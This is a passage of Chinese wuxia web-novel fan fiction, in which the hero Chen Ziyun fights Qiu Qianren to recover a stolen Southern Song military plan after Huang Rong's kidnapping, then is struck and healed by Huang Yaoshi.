这一路杀来,曲灵风几乎是米水不进,只是在将一匹马彻底跑废之后,换乘另一匹的时候,让自己深深喘几口气,就当是休息了。 如此而来,三天三夜,不眠不休,终于在一路上被赵茵萝授意度过的子虚部众的指引下,跟上了那个胆敢撸桃花岛虎须的贼子。 ”站住……“ 当曲灵风这一声喊出的时候,连他自己都没法相信,这竟然是自己是声音,嘶哑的已经不成了音调了。 可就算如此,曲灵风此时也只是一心要拦下劫走自己小师妹的匪徒,丝毫不顾自己以你为这三天损耗下,已经不堪一击的身体。 赵令自然不可能听这样愚蠢喊话的,他此时经过这么些天的折腾也是强弩之末了,不管是谁拦他,他都不敢轻易动手,因为他清楚,浪费任何一分体力,都可能让他前功尽弃。 如今宋金分界就在眼前,只要自己跨过了那条线,在那边接应自己的人自然会帮着自己打发这个来路不明的货色。 可不知怎么的,坐下即将功成名就的宝马突然间一个不稳,竟然就这么狠狠的往地上撞去。 赵令瞬间瞳孔放大,死死的抓着缰绳,双脚本能的夹紧马肚子,要是这下摔实了,比说跑路,小命都可能直接没了。 此时的赵令也顾不得怀中的黄蓉了,直接将这个累赘往后抛出。因为他本能的猜测,这次的坠马很可能就是后面那个人搞的名堂,而自己将手上的人质丢出去,自然是为了拖延对方的行动,以免对方趁机袭击自己。 …… 曲灵风见自己小师妹被往后抛出,早就有所准备,双掌用力拍马背,直接将本就疲惫不堪的马匹直接打的哀鸣不已,他则是借着这股冲劲一把越起,抱住正在下落的小黄蓉。 随后为了不伤到怀中的宝贝师妹,直愣愣的就用自己的背部硬着陆了。 顾不得背后的伤势,立刻起身查看起小黄蓉的情况,看着那消瘦不少的面容,连呼吸也不怎么强劲了。 曲灵风颤抖着用手指搭在小黄蓉的颈动脉上,直到确认自己师父的宝贝女儿只是因为这些天没有进食有些虚弱,并没有什么别的症状,才放下心来。 可随即眉头上就重新燃起了无边的怒火,已经多久没有人敢欺负到他们桃花岛的头上来了,这个所谓的赵令,一个名不见经传的货色,竟然敢挟持小黄蓉,实在是罪不容诛。 正当他气不过就这么放对方离开宋境的时候,却发现自己拿本来就还在恢复中的双腿,已经连站起来的力气都没有。 看着那个弃马而去的贼子,曲灵风憋屈的直接一拳砸在了旁边的树上,把树上刚转绿不久的树叶都震落了下来。 “陈子云……” 曲灵风也不知为何,愤怒的一声吼了出来,却不是骂着急跑路的赵令,而是似乎在申诉对陈子云的不满。 “没大没小。” 一声轻轻的回答,突兀的出现在了曲灵风的耳边,彷佛就像是个突然从地底冒出来的幽灵。 一只手搭在了小黄蓉的脉搏上,斟酌了几秒,又缓缓的放开。 “倒是可以留赵令一命。” 陈子云道。 “什么,留着这样的人做什么!” 曲灵风喝道,也顾不得对方是跟自己师父同辈相交的高人了。在他心里,对方竟然敢劫持自己小师妹,那作为桃花岛的大师兄,他就有一百个一千个理由,让对方知道什么叫做生死两难。 真当他们桃花岛是那些江湖上沽名钓誉的所谓的名门正派吗,得罪了,还可以通过负荆请罪抵消。 在桃花岛的规矩里,从来都没有这种说法,既然对方出手了,那就要做好承担报复的准备。 陈子云轻笑了一声,在确定小黄蓉没有大碍之后,他千里奔袭的心也终于放下了不少。 “好好照顾小蓉儿,剩下的交给我。” “这件事师父一定会过问的。” 曲灵风犟着脖子说道。 陈子云没有回答他,脱下自己身上的外套轻轻盖在小黄蓉的身上。 “现在小蓉儿的身体很是虚弱,你先安排人将她送回桃花岛,具体的情况我已经飞鸽传书给你师傅了,至于他黄药师要怎么兴师问罪,自然由我陈子云接着就是了。” 陈子云说完强提一口气,朝着那位已经跨过了宋金边界的赵令追去。 这一路追来,不但要摆脱赵令蓄意安排的那几个负责拖延自己的江湖高手,还要穿州过省狂奔近千里,实在是有些疲惫了。 可赵令这个人,又有不得不追回来的理由,不单单是因为他背叛了子虚,伤了赵茵萝。 根据宋宁宗在知道自己看好的宗族子弟叛变后,第一时间搜索了御书房,结果发现一份曾经作为军事会议记录的册子不见了。 陈子云能够想象,当时宋宁宗颤抖着手给赵令下达杀无赦的指令的情景。 宋朝开国以来,宗族子弟作为皇帝的亲卫,是最被皇帝信任的一批人,一方面在家天下的背景中,不用担心这些赵氏宗族会不忠。 况且,对于这些能够被选中作为皇帝近臣的子弟也都是可想而知的,前程远大的人物。 第二百八十三章 裘千仞 有宋一朝,这样的出身不是做了大将最少也能混个一地的武备长官,他们自然没有理由会做出背叛南宋的事情来。 所以,赵令如今的行为可以说是开创了有宋一朝的第一个先河,身为南宋皇族,尽然叛国入金简直是奇耻大辱。 不说他身上如今带着南宋的最高军事机密,就单单他的身份,一旦公开对于南宋整个士气的打击肯定是前所未有的。 所以一旦此人进入了金国,金国势必会竭尽所能的庇护赵令,到时候再想除了对方,就真的是要火中取栗了。 而且,那本关乎南宋军事要义的《平戎策》,要是落入了金国手中,那到时候就是再杀一百个赵令都无济于事了。 因为那里记载着这些年南宋基本的对于金国的用兵方针,不管金国会不会直接利用这本册子提供的情况开展直接的军事行动。 南宋这些年暗中的储备算是彻底的暴露在金国面前了,那些军略与精心策划的后手就变成了彻底的废物,这样的损失可是南宋十年的国库收入都不赶不上的。 所以,如今不管是为了维护南宋皇室的颜面,还是为了保住南宋军事的机密,陈子云都必须在对方彻底投入金国的怀抱之前,杀了对方,拿回《平戎策》。 飞刀已经在手,赵令也不过是在百米之外,只要陈子云再靠近一些,就算他如今有些筋疲力尽,但是以赵令那只是学了些皮毛的武学水准,自然是接不住自己的必杀一刀的。 八十米…… 六十米…… 三十米…… 飞刀从陈子云的袖中狂飙而出,在空中留下一道阳光的反射光华,刹那间出现在赵令的后心。 可就在陈子云必得的一刀就要插进赵令的心脏的瞬间,一只手掌突兀的出现在了那里。 本来以小李飞刀的劲道,要穿透这只并不特殊的手掌自然不是难事,甚至可能穿透手掌之后,还能依旧钉入赵令的后背,依旧例不虚发,最多也就是受些阻力,偏离一点方向而已。 …… 可就在飞刀与那只看起来平平无奇,甚至有些过于白嫩的男人手掌接触的瞬间,陈子云甚至听到了一阵刺耳的金属交击之声。 难道这只手掌是精钢炼制的不成,只是在这铁手掌外面包了一层人皮而已? 飞刀终究是插进了这只诡异的手掌中间,不过深度不会超过一寸,更可能是刚刚破皮,就被对方的顺势弯曲的掌纹给夹住了。 而且,在对方收手的瞬间,陈子云也没有看到对方有血液流出。 “天下第六,飞刀无敌,不过如此,看来当年的华山论剑,老夫倒是应该去凑凑热闹的,也省得时无英雄,让竖子成名。” 陈子云斜眼瞧着这个突然出现的大放厥词的中年汉子,样貌倒是平常的很,可是那鼓起的太阳穴加上两眼内敛的精光,一看就知道对放必然是将外功修炼到了一定的境界,才会有此异相。 “裘千仞?” “不错,驸马爷倒是好见识。” 裘千仞对于陈子云一眼就认出他来半点不惊讶,甚至有些得意,他这些年虽然躲在山里闭关,可这天下的事情也是清楚的。 而这位几年前突然蹦出来的人物,如今正是搅动江湖风雨的弄潮儿,不仅上华山得到了五绝的认可,搏了一个天下第六的名头,甚至还贵为南宋驸马,可以说是名利双收。 隐隐间也被所有有野心的江湖豪杰羡慕嫉妒着。 而他裘千仞虽然因自知不是当时那位中神通的对手,故意不去华山,那也是不过想加紧练功,直接挣个天下第一。 裘千仞自从带领着铁掌帮灭了衡山派之后,一般的江湖人物就不被他放在眼里了,唯有那天下第一人的宝座,才是他奋斗的目标。 而像陈子云这般的,所谓的天下第六,在裘千仞看来,不是第一就是末流,只要这江湖上还有比你厉害的,那第二第六又有什么区别,还不是要伏低做小。 所以陈子云在裘千仞眼里,不过是个好运气的年轻人而已,算不上什么对手。 “看来铁掌帮也该清理了。” “竖子尔敢!” 裘千仞见陈子云如此出言不逊,那种好像要扫平他铁掌帮就像是踢掉一个小沙堆一般的轻易,直接气的胡子都翘起来了。 陈子云歪着头,看看那个还在艰难的往前跑的赵令,又瞥了一眼那个似乎被自己刺激到,却依旧没有出手的裘千仞。 “怎么,那一刀的劲气还没压住吗,我可是不等你了。” 陈子云直接往侧方连跨三步,打算直接绕过这个拦路虎,先把赵令拿下。 其实他刚才之所以刺激裘千仞,也就是想试探,对方的铁掌是不是真的在小李飞刀之下还毫无影响,看来情况并非如此。 裘千仞此时也是有苦难说,本来他已经算定了,等陈子云追到此地,必然是人困马乏,就算什么天下第六,也是人,没了力气的人,还怎么跟他对抗。 所以他才托大,直接用自己练就的铁掌硬接对方传说中无敌的飞刀,飞刀是接下了,可那刀中透进来的劲道实在是比这小刀的本身还要锋利几分,一时间搅动他的筋脉,让他一只手直接废了一半。 当然,要是给他一些时间,自然能用自己几十年来练就的硬功夫,将这份难缠的劲道磨灭,可对方却显然不会傻傻等他拖延时间。 如今见对方想从侧面饶过自己,直追赵令,自然是不能答应的。 裘千仞在来之前,可是在完颜洪烈面前打下包票的,连对方要派遣五百金兵助阵的好意都被他拒绝了。 他这是第一次为金国做事,要是不把这事情做的漂亮些,如何能让他在金国竖立威望,如何将自己的铁掌帮更加发扬光大。 甚至裘千仞还有个不曾对人言的野心,他要借助金国的帮助,去坐一坐武林盟主的宝座。 可这一切的前提就是要拦住面前这个家伙,裘千仞想到此处,直接将大意受伤的左手插进腰带里,以免自己动手的时候反而成为累赘。 陈子云已经摇摇的的射出了一把飞刀,这一把飞刀精准的插在赵令的右腿膝盖弯处,凭他如何挣扎也只能在地上拖着腿爬行。 要不是担心对方把《平戎策》藏在了其他地方,陈子云的这一刀不是瞄准后心,就是要插入他的脖颈的。 “啊……” 赵令拖着一条毫无知觉的残腿,一边哀嚎着一边往前趴着,此时他眼中逐步靠近的陈子云,就像是一个催命的判官。 第二百八十四章 反转 “你……你不能杀我,我是赵令,是大宋皇族,除非宗族下令,就是陛下也不能轻易处罚我。” 赵令此时恨不得自己能用双手来走路,好逃离这个要命的场景。 “竖子,休要猖狂。” 裘千仞的单掌直接朝着陈子云的背后轰过来,那犹如烈火灼烧一般的威压,陈子云也不得不承认,此时的裘千仞确实有不弱于那四位的功力。 仓促之间的回转,擦着胸膛让过对方的一掌,可那凶猛的劲道也是让陈子云胸口压抑的很。 铁掌水上漂的名头,果然不是吹出来的。 陈子云跳开三步,持刀在手,安抚自己起伏不定的呼吸。 “你有几只手可以挡我的飞刀?” 陈子云沉着脸朝裘千仞问道。 裘千仞挑了挑眉毛,锁在怀里的左手同时隐隐作痛。 “哼,以你现在的身体状态,刚才那样的飞刀,我不信你能随意出手。” “哦,那我试试?” 陈子云右手一抖,一把普通不过的飞刀出现在他的手掌心中,三根手指似乎毫不用力的握着。 可就是这样一把普通不过的飞刀,甚至是裘千仞刚才已经轻手捏断过一次的飞刀,却依旧令他神情凝重。 以前不管江湖上传来关于这位天下第六的何种夸张传说,但是在裘千仞的心目中,那所谓的五绝中除了那位中神通王重阳,他谁也不悚。 何况是个连华山论剑都没比完,就灰溜溜下山的人物,自然是更加不被裘千仞放在眼里。 可今天,当他接了这把飞刀之后,哪怕这里有自己轻敌的成分,但是那把不过是最普通的冷铁小刀里,传来的劲道却是无论谁来都不敢轻视的。 “裘帮主,怎么说你也是铁掌帮的一帮之主,难道就为了这样的货色,要与我在此处分个生死?” 陈子云缓缓调整着手中的飞刀,指指在地上打滚狼狈不堪的赵令,朝着裘千仞问道。 “他并不重要,我甚至不清楚他是谁。不过我知道,救下他很重要,当然如果能留下你,对我就更加重要。” 裘千仞倒是没有跟陈子云绕弯子的打算,说完直接出手,单手翻飞,本来应该是刚猛至极的铁砂掌,在他手中却多出了许多精妙的变化,也是凭借这种种不下于任何天下绝学的精妙掌法,成就了他铁掌之名。 而脚下如鱼游水的步伐,自然就是裘千仞的另一种绝学,轻身御风,一种能让人过江如履平地的轻身绝技。 这一刚一柔,结合在一起,就造就了如今的铁掌水上漂,速度与力量的完美结合,要是一般人物,在这样的攻势下,估计接不上三招。 不是被凶猛的铁掌拍穿脊背,就是被对方卓越的轻功晃悠着找不着北,随后自然都是小命难保。 要是放在平时,陈子云自然不会怕了他裘千仞,而且还是去了一臂之力的他,可如今……要说陈子云是强弩之末也不过如此了。 千里奔袭的脱力感,加上已经接连出了两刀,虽然不至于是那集中全身精力的小李飞刀,但也是大大耗费了精神的。 如今他还可以勉力再出一刀,可这一刀要是能杀了裘千仞则还好,要是只伤不杀,那死的肯定就是他自己了。 因为这一刀发出之后,陈子云起码在一刻钟之内,基本是任人宰割的状态。 别说裘千仞这样的外功高手不一定会毙命,就光光是在一旁哀嚎的赵令也足够给他致命一击。 别看赵令的摸样凄惨,可实际上对方受的也不过是皮外伤而已,真到要拼命的时候,他随便过来给陈子云一下,那也是致命的。 所以面对裘千仞的掌风凌厉,陈子云只能变飞刀为小刀,以黄昏细雨红袖刀里最省力的招法对敌。 “哈哈哈……天下第六,飞刀无敌,怎么不出飞刀了,是出不了,还是不敢出呢。” 裘千仞哈哈大笑,眼神中更是充满了挑衅,似乎猜中了陈子云的用意,掌法之间更是咄咄逼人。 陈子云眼神飘忽,他也知道,自己的状态自然是骗不了裘千仞这武道宗师一般的人物的,可他此时却也无法下定决心。 杀人容易救人难啊,自古以来就是如此。 看到如此场面,连躲在一旁的赵令也看出了陈子云的问题,本来绝望的眼中透出了些许的精光。 要是说这世界上,有谁是最想陈子云死的,他赵令绝对能排前三。因为在赵令看来,就是这个抢了自己在赵茵萝心目中位置的男人,才是造成自己这一生不幸的源头。 要是没有了陈子云,自己一切都不会成为这样,从一个引以为荣的赵氏皇族,如今却要靠着出卖国家,出卖祖宗为自己谋前途。 所以说但凡有希望,赵令是绝对不会放过至陈子云以死地的机会的。 “嘿,那你就去死吧。” 陈子云自然是看出了赵令的变化,不由得嘴角一翘,对着他不屑的一撇,随后一刀飞出。 相对于敌人,更遭人恨的永远是叛徒。 “你!” 裘千仞睚眦俱裂,一个闪身就来到赵令身边,本来是想再次帮对方挡下这一刀的,可终究是没能来得及。 一把小刀,稳稳的插在了赵令的胸口上。 裘千仞苦恼至极,他接到的命令是要将赵令完整的带回去的,因为对方身上不仅仅是那份《平戎策》宝贵,其本身的身份,以及他脑子里藏着的信息更是无价之宝。 刚才他之所以表现的不重视赵令,无非是为来转移陈子云的注意力,哪里想到陈子云会这么果断的朝着赵令出手,这让他始料未及,也是恼恨不易。 “哦,裘帮主竟然这么在意我这位堂舅子,这可跟你刚才说的不同,不知裘帮主有没有信心再挡我一刀。” 陈子云揶揄道。 就在刚才,自己还是两难选择,如今却是轮到裘千仞头疼了,是撇下半死不活的赵令,跟陈子云生死一战,还是赶紧带着赵令去治伤,放陈子云一马。 不过陈子云显然没有给对方考虑的时间,就像刚才裘千仞也不想放过他一样,刀刀不离赵令的要害,让裘千仞咬牙切齿的同时,又不得不招招回护着对方,实在是憋屈的很。 陈子云的黄昏细雨红袖刀越发的刁钻,裘千仞的招架也越发的吃力,那满头的热汗就快遮住他的眼睛了,要是再这么下去,不知道两人,或者说是三人到何时就会突然收场了。 裘千仞一咬牙,抱着赵令不知生死的身体往后急退了几步。 “你待如何?” 裘千仞咬着牙问道。 第二百八十五章 该的 “如何?自然是留下他,你可以走。” 陈子云暗暗的借此机会缓和着自己的呼吸。 “你应该知道老夫是不可能答应,让你带走他,还不如我亲手杀了他。” 裘千仞厉声道。 “好啊,那你就杀啊~” 陈子云自然是不信的,赵令的重要性,他对于金国的价值远远大于他对南宋的价值。所以他笃定,但凡裘千仞想要以后在金国混的开,保住赵令就是他的第一份投名状。 裘千仞简直双眼都要冒出火来,他本来就是在火煮的铁砂旁练功夫的,体内自然就集聚着大量的火气,平时运功过渡就会不可控的火冒三丈,如今被陈子云这样的刺激,他真的是想直接扔下怀中的赵令,好好跟陈子云生死相拼一场。 “怎么,下不了手,那我倒是可以帮忙,不过,其实也不用我再动手了。刚才的那一刀虽然没有直接要了他的性命,但是我保证,要是他在一个时辰内得不到好的治疗,一定没命看明天的太阳。” 陈子云指指裘千仞怀中的赵令道。 裘千仞犹疑不定的看看昏死过去的赵令,又眯着眼打量着陈子云。 “好,天下第六名不虚传,那么我们今天就算平手,他怀里的东西你拿走,人我带回去交差,就当裘某我不知道有这个东西。” 陈子云盯着裘千仞看了片刻,但是对方那阴郁的面容里完全看不出,对方是不是真的了解那本《平戎策》的价值。 相对于基本没了半条命的赵令,《平戎策》对于南宋的意义自然是要大的多。 而且,自从赵令确定要叛逃的时候起,南宋就必须面对金国会以这件事搭舞台,好好的演一场南宋朝廷不惜人才,逼走贤良,宗族内部不稳之类的戏码。 不管赵令能不能活着到金国,这场戏其实已经开场了,有没有赵令无非就是重一些,轻一些的问题。 就算带回去的是个断气的,金国自然也可以随便找个人代替。反正在两国的外交口径中谁都不会承认这件事情,不过是是你摆你的证据,我说我的废话而已。 到时候谁是谁非,就要看哪国的舆论口径把握的精准了,小民之间无非就是掀起一些敌对的情绪,这些年早就是司空见惯了。 影响最大的怕还是那些通过一些渠道知道一点内幕的人,尤其是那些带兵在外的将领,要是知道了赵宋皇室的人竟然将《平戎策》这样的东西差点送到敌国去,估计都要跳脚骂娘。 而那些知道赵令是宋宁宗一手培植出来的亲信的朝臣肯定都是在背后默默念叨皇帝陛下的识人不明,以至于让几年的策划一朝丧尽。 计划可以变,可皇帝丧失的威信却是短时间内难以挽回的,所以这件事宋宁宗才会发这么大的火气,对这个本来是作为心腹培养的同宗子弟会下达杀无赦的命令。 “不,换一下,我要带着他回去给南宋皇帝复命,至于他怀里有什么东西,你尽管拿走。” 陈子云面色丝毫不做伪的说道。 裘千仞深色凝重的盯着陈子云,似乎在判断他的话是不是在故意引诱他上钩。 可不管他如何的打量,终究是难以看出什么来。 “给你!” 裘千仞突然往赵令的怀里一掏,将一本不算厚的册子直接往天上一抛,在陈子云愣神之际,一把抓着赵令将他甩在自己的背上,拔腿就跑。 这家伙分明是用赵令在给他当挡箭牌,以免陈子云的飞刀从他背后出手。果然裘千仞的脾性,终究还是保自己才是第一位的,至于能不能在金国建立功绩,那也要等后面再计较了。 陈子云并没有急着去接那被裘千仞抛出来的册子,只是手中的飞刀来来回回的收发了几次,直到对方跑出了最佳的距离,终究还是没有出手。 长长的呼出一口气,捡起那本掉落下来的册子,随意的翻阅了几页,陈子云的嘴角露出了些许的嘲讽之声。 “就为了这东西,命都不要了。” …… 陈子云带着《平戎策》回到了临安,刚进门就听到里面赵茵萝的一句惊呼。 “小心。” 陈子云下意识的护住胸口,因为那里藏着此行的收获,可一道透人肺腑的掌力还是结结实实的拍在了他的身上,不是陈子云不想避开,而是他如今真的是身心俱疲。 “这一掌是你该受的。” 陈子云在听到第一个字的瞬间就明白,是哪位高人跟自己过不去了,原来是东邪黄药师这位债主到了。 他说的没错,确实是该受的,要是自己的宝贝女儿被人给劫持了,他陈子云必然也会变得蛮不讲理的先将相关人等教训一顿,再说其他。 “噗……” 可黄药师的一掌哪里是这般容易受的,何况是陈子云如今的状态,直接一口逆血就喷了出来。 “子云,黄……药师……受死。” 赵茵萝的呼喝声传来,随后就是两人交手的声音,混着的是小荷的劝导跟两只狐狸的吱吱声。 陈子云此时胸口疼的犹如炸裂一般,就像静静的躺着,不想动弹分毫。 最后将自己扶起的反而是跟着黄药师一起来的曲灵风。 “小黄蓉如何了?咳咳。” 陈子云又咳出了一些胸腔中的淤血,感觉倒是反而好了不少。 “驸马爷放心,小师妹不过是这几天被人强制打晕了,没有好好吃饭,并无大碍,如今已经在岛上又活泼起来了。” 曲灵风一边给陈子云把着脉,一边回答。 “哈哈哈,那留在岛上的那几位可就不好过喽。” 陈子云在这种时候,竟然还有心思开玩笑,这让摸出脉象的曲灵风真是不知道该如何是好。 “前辈,师傅的那一掌可不轻,如今你还是好好歇着,我这里有几颗九花玉露丸,前辈先吃下一颗。” 曲灵风将从怀里取出的瓶子里倒出了一颗药丸塞进陈子云的嘴里。 陈子云也不客气,一口吞下。 “你这位师傅啊,伤人的本事跟救人的本事都是这般的大,认识他的人倒是好福气,得罪他的人却是好受罪了。” 陈子云有些感慨的说道。 “既然你陈子云有这样的觉悟,如何还敢将蓉儿置于险地。” 陈子云苦笑歪头,原来是黄药师已经摆脱了赵茵萝的纠缠来到了近处。 “能让你黄药师这般不顾身份,出手偷袭的,我算不算是天下第一人了。哈哈,咳咳……” 陈子云勉强的笑了几声,结果引动了伤势,咳嗽不止。 ”你给他服用了九花玉露丸?” 黄药师神色严厉的朝着曲灵风喝问道。 “好大的胆子,为师伤的人,你也敢救,难道你还想攀附南宋朝廷?” 曲灵风直接就跪倒在了黄药师面前,以头抢地,丝毫不敢回嘴。 “好了,黄药师,别在我这里摆桃花岛的威风了,你想如何我都接着,这次确实是我们连累了小黄蓉,认打认罚。” 陈子云道。 …… 第二百八十章 六 治疗 “你以为按照我的脾气,这一掌就能让我放过你了?” 黄药师板着脸冷声冷语。 “那我就更好奇,到底是谁能劝下这脾气天下第一古怪的东邪,让素来随心所欲的黄药师手下留情?” 陈子云歪斜着嘴角,还有丝丝血迹从口中涌出,却不见半点伤痛表情。反而有几分智珠在握,猜出了黄药师为何如此的意思。 ”要不是你的好干女儿说,咱们桃花岛的人从来是有仇报仇,但也绝不自降身份的迁怒他人,竟然那个人敢对蓉儿下手,那自然是要追他到天涯海角,但是你这位干爹跟那位干妈是真心疼惜蓉儿的,自然不能因为自己在你们家里出了事就说是你们不好。“ 黄药师缓缓说着,可那俯视着陈子云的眼睛越来越浓郁的聚集起了骄傲,就是一旁恭敬的伺候着的曲灵风也感觉出来了。 这位东海大岛主,又开始吹捧起自己女儿来了。 ”那蓉儿既然如此说,黄岛主又何必下次狠手。“ 赵茵萝终于是赶过来了,看来是跟着一起过来的小荷给帮忙解除了黄药师给她下的限制。 小荷已经来到了陈子云的身边,温柔的将他从地上扶起来,陈子云几乎半个身子都依靠在她身上,要不是小荷练功有成,一般的女子可经不住他这般的靠着。 赵茵萝自然是戒备的防范着黄药师,哦,可能还要算上那位曾经的邻居——黄药师的徒弟曲灵风。 “哼,蓉儿说的自然是蓉儿说的的,我黄药师何时说就能原谅你们这般的疏漏了,作为蓉儿的干爹,你倒是让他自己说说,我这一掌打的该不该?” 黄药师并不将赵茵萝的戒备心放在眼里,自顾自的带着些不屑的表情说道。 “不错,茵萝,这一掌是我该收的,药师兄身为人父,这么做并没有丝毫的不妥,要是换作是我,说不得还得补上两掌。” 陈子云强笑着说道。 “哈哈哈,好个陈子云,那我多赐你两掌。” “师傅……” “你敢……” “哈哈……” 黄药师在众人的不可思议中,闪电的般的拍出两掌,一掌拍在陈子云的胸口,一掌拍在他的丹田。 赵茵萝反应过来的时候,神色狠厉的一刀劈向黄药师的头顶,如果说刚才他还对黄药师有所愧疚,毕竟小黄蓉在他们这里出事是不可推脱的责任,所以只是以拳脚相加。 而此时,黄药师一而再再而三的当着他的面,伤害陈子云,出刀已经是在所难免了。 不过赵茵萝朝着黄药师的这一刀,却是被别人拦下了。 正是对方的大徒弟曲灵风,不管黄药师做了什么,就算他此时也觉得自己师父有些不近人情,可那又如何。 不管是谁要伤害黄药师,那他曲灵风自然是责无旁贷的。 “公主殿下,还请冷静些。” 赵茵萝自然不会听他的,一刀一刀的挥出,打的曲灵风首尾难顾。 “哎,可怜啊,要不是被自己师父打断了腿脚,茵萝可不能这么轻易压制曲灵风。” 陈子云受了黄药师两掌,好像并没有什么大碍似的,面上反倒是精神了不少,竟然开始评论起两人的高低来。 “哼!” 黄药师此时似乎也没有了对陈子云的刚才的那副仇恨摸样,不过对于被戳到了心里的隐痛,有些不满的哼了一声。 不过话虽如此,但黄药师除了表示不满之外却并没有其他的表示,与刚才的悍然出手不同,如今更像是一对老朋友在对自己的弟子的表现进行着对比。 这样的突然转变着实让人有些摸不到头脑,可这两位却好像习以为常,似乎这是他们早就约定好似的。 “我说,你刚才那两掌,一掌拍出了我胸口的郁结之气,一掌理顺了裘千仞留上的灼热劲道,好似你一开始就知道我受了什么伤似的?” 陈子云有些好奇我问道。 “哼,就你那点岐黄之术,我懒得跟你解释。” 黄药师却是不理会。 按他们这样说来,原来黄药师刚才的那两掌竟然是在帮助陈子云治疗伤势,而不是与别人看见的那般在替自己出气。 可说来也怪,陈子云从进门到黄药师出手,两人一没有搭脉问诊,二没有诉说伤情,他黄药师是怎么知道如何对症下药的。 难道这世间真有一眼下药方的神奇医术不成? “姑丈,师傅,原来你们……” 小荷见二人如此说话,自然也是明白了自己是白担心一场了。 “小荷你的武学天赋远超常人,可要说识人的本事还是过于单纯,不要太过依赖你的天赋,大多时候,人是不能以一时的好坏来分的。 好人为了自己的利益也会张开爪牙,坏人有时良心发现,也未必不会做一件好事。” 黄药师对于这位关门弟子,倒是用心的很,这样教育弟子的机会也不放过。 “弟子受教。” 小荷恭敬的行了一个礼,其实她心里最开心的还是自己姑丈跟师傅不是真的要打架,至于师傅的教导,能先听着,至于后面懂不懂,那就是慢慢来的事情了。 要是天下间的师傅但凡说一句话,弟子都能完美的实行,那教弟子是不是就太简单,或者说是太可怕了,那教出来的恐怕就是师傅第二了,再也不会有弟子了。 赵茵萝跟曲灵风的较量最终是在黄药师的一记弹指神通下结束的,没办法,赵茵萝如今就是压着曲灵风打的状态。 而且因为心里还怀着对于黄药师出手伤了陈子云的不满,自然出手的时候就不会手下留情了,所以曲灵风着实是单方面的在被虐。 要不是黄药师那一下帮他,让他有机会跳回了自己师父身边,这会儿估计就要被赵茵萝直接放倒了。 “子云,你怎么样?” 赵茵萝也同时闪身来到陈子云的身边,焦急的问道,毕竟刚才被黄药师又拍了两掌脸色可是差的很。 “我没事,茵萝,刚才药师兄是在给我治疗。” 陈子云解释道。 赵茵萝带着疑惑的瞟了黄药师一眼,显然是有些不太相信的,毕竟陈子云的样子可不像是被治疗过的,更多是被打的脸色惨白。 而且,哪里有那样治疗伤势的,听都没听过。 “姑姑是真的,师傅刚才……” 小荷正想给自己师父解释一下。 “好了,小荷,不用说了,我们桃花岛行事,在世人眼中本就是不是邪就是魔,何必去解释。” 黄药师不在意的制止了小荷的继续解释。 第二百八十七章 物归原主 “哈哈,药师兄说的不错。小荷啊,要是你以后有你师父这样本事,哦,不,哪怕是只得十之八九,就应该有这样的气魄。 我自行我道,他人不相扰。” 陈子云此时虽然面色差劲,可胸中却是顺畅了不少。 “是,姑丈,小荷记下了。” 小荷认真的答复道。 “子云师父,你真的无碍了吗,要不要我请御医来?” 赵茵萝显然还是不放心。 “哼!” 黄药师听到这话,不悦的哼了一声,显然是赵茵萝将那些所谓的御医放在自己之上而表示不满。 “茵萝,不必了,我本来就没有受什么严重的伤势,不过是因为这些天接连的赶路,加上与裘千仞的那一场,有些被对方的灼热劲道堵住胸口的筋脉而已。 刚才药师兄的那两掌就基本将我堵塞的经脉再次打通了,现在只要让我好好睡上一觉,那就是再好没有了。” 陈子云道。 “这东西就由你带进宫去吧,千万要直接交给陛下,绝不可转手他人。” 陈子云从怀里将那本千里奔袭才抢回来的《平戎策》交给了赵茵萝,认真的嘱咐道。 想想连曾经的宋宁宗的心腹手下赵令都能背叛,那宫中那些其他的人难道就不会了,所以陈子云才嘱咐赵茵萝一定要直接交接给宋宁宗本人。 至于后面宋宁宗要采取什么办法防止这关天的机密的安全,那就让他自己头疼去吧。要是偌大的一个南宋,连个真正安全的地方都找不出来了,那这天下不争也罢,该灭就让他灭吧。 赵茵萝接过陈子云递来的册子,脸上有些不自然的神色,就是这本东西,不但让他没了一个儿时一起长大的伙伴,还让自己的国家差点陷入无尽的战争旋涡。 被最不可能背叛的人背叛,恐怕这世间也就赵茵萝能体会宋宁宗此时此刻的想法吧。 …… 赵茵萝将陈子云交给小荷照顾后就立刻带着《平戎策》进宫了,关于赵令的事情本来就是属于家丑不可外扬。 所以宋宁宗当时也只是发动了暗中的力量,并没有大张旗鼓的派遣兵将,而且,等这些人调动起来,赵令估计早就跑的没影子。 要知道在这个通讯还基本靠吼的时代,但凡一个人逃出了自己的视线范围,要重新找到是多么困难的一件事。 就算是赵宋皇家在这个时候,也没有实时监控可以调看啊。 赵茵萝直接御马入皇城,一袭红衫在身后起舞,看到了的熟悉身姿的守城士兵连忙打开宫门。 不说这里的人如今没有一个不认识赵茵萝这位当朝公主的,而且以对方如今的权势,被宋宁宗亲自赐予的公主听政的特权,但凡有点政治头脑的人都能意识到这意味着什么。 而且经过这些年的表现,赵茵萝的政治才华与军事天赋早就证明了这项一开始朝野议论纷纷的决策是多么的英明。 甚至许多人都在传颂,宋宁宗这位皇帝在位以来做的最英明的就是没有死守祖宗法度,慧眼识才,没有将这位顺安公主埋没在公主府里。 赵茵萝如今要见宋宁宗自然用不了其他的宫人禀报,直接就来到了宋宁宗平时处理公务的宫殿中。 制止了欲行礼问安的内侍,只是轻轻的在门沿敲了三下就直接推门而入。 宋宁宗见有人开门,便抬起埋在奏折中的脑袋,确认是赵茵萝之后就又重新低下去了。 因为要是别的人这么闯进自己的政事殿,要么是有十万火急的事,连通报都等不及;要么就是发疯了,要行刺自己。 至于赵茵萝吗,那自然不过是正常操作而已。 “有什么事?……什么?” “《平戎策》拿回来了。” 两人几乎是同时开口的,所以宋宁宗几乎没有听清,却也明白了赵茵萝要说的是什么,神情激动的从御座中站起身。 赵茵萝直接掏出了怀里的《平戎策》,笑着在手里晃了晃。 宋宁宗直接从上面走了下来,因为动作太着急,被自己的御座撞到了胯骨,差点就从上面摔下来了。 不过有赵茵萝在,自然是不会发生这种事情的,在宋宁宗刚刚歪斜的身体给托住了。 ”爹爹,小心些。” 赵茵萝这个长大了的女儿有些埋怨的说着自己这个已经头发半白的老父亲,做事的莽撞。 “嘶……嘿……还真疼。” 宋宁宗一只手揉着被撞到的胯骨,一只手却已经从赵茵萝手中抢似的拿过了《平戎策》。 “好啊,好啊,妞妞啊,我们父女不用做大宋的罪人了。” “爹爹,你先坐下,我让人找御医给你看看。” 赵茵萝没有在意宋宁宗的激动,这本就是在他预料之中的。自己这个皇帝爹爹,对江山社稷祖宗基业到底有多重视,没有人比她这个同朝听政的女儿更了解了。 